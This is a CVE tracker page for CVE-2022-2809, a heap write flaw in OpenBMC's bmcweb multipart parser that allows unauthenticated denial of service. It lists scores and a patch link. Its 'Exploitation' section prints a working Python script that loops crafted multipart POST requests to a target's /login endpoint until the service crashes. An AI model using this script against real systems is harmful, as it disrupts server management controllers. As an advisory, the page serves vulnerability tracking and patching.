Skip to content
CVE Tracker
  • Newest CVEsPage
  • Recently added to KEVPage
  • Rising exploitation (EPSS)Page
  • Weekly digestPage
  • StatisticsPage
  • WatchlistPage
  • API documentationPage
  • MCP serverPage
  • Data sourcesPage
  • ChangelogPage
  • AboutPage
  • How it's builtPage
Back

CVE-2022-2809

Unauthenticated out of bounds heap write in bmcweb

High8.2EPSS 0.77%
Published
Updated
Reserved
Assigned by
OpenBMC

Description

A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.

Scores

CVSS scores of CVE-2022-2809, by who scored it
Scored byCVSSScoreVector
OpenBMCCNA (assigner)3.1High8.2CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
NVDNVD · Modified3.1High7.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS (exploitation in 30 days)
0.77% · top 44% of all CVEs (6 Nov 2026)
CISA SSVC
Exploitation: none · Automatable: yes · Technical impact: partial
Loading the EPSS history…

The list uses the assigner's score when there is one, then CISA's, then NVD's: High 8.2.

Weakness

Affected products

What to do

Solution: https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56796

Exploitation: import socket import ssl import time HOST = "" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB PORT = 443 length = 322 additional = "" payload = """POST /login HTTP/1.1\r\nHost: <HOST-IP-ADDR-HERE>:8080\r\nUser-Agent: curl/7.58.0\r\nAccept: */*\r\nContent-Length: %s\r\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\r\n\r\n-----------------------------d74496d66958873e\r\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\r\n\r\n""" if __name__ == "__main__": while(True): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE) client.connect((HOST, PORT)) toSend = payload % (str(length), additional) print(toSend) client.send(toSend.encode('utf-8')) print(client.recv(4096)) client.close() time.sleep(0.01) length += 1 additional += "a"

References (1)

Sources

The same CVE in the primary databases and aggregators, to check against.

Badge for a README or a ticket

CVE-2022-2809 badge
[![CVE-2022-2809](https://trackcve.app/badge/CVE-2022-2809.svg)](https://trackcve.app/cve/CVE-2022-2809)

Record last updated .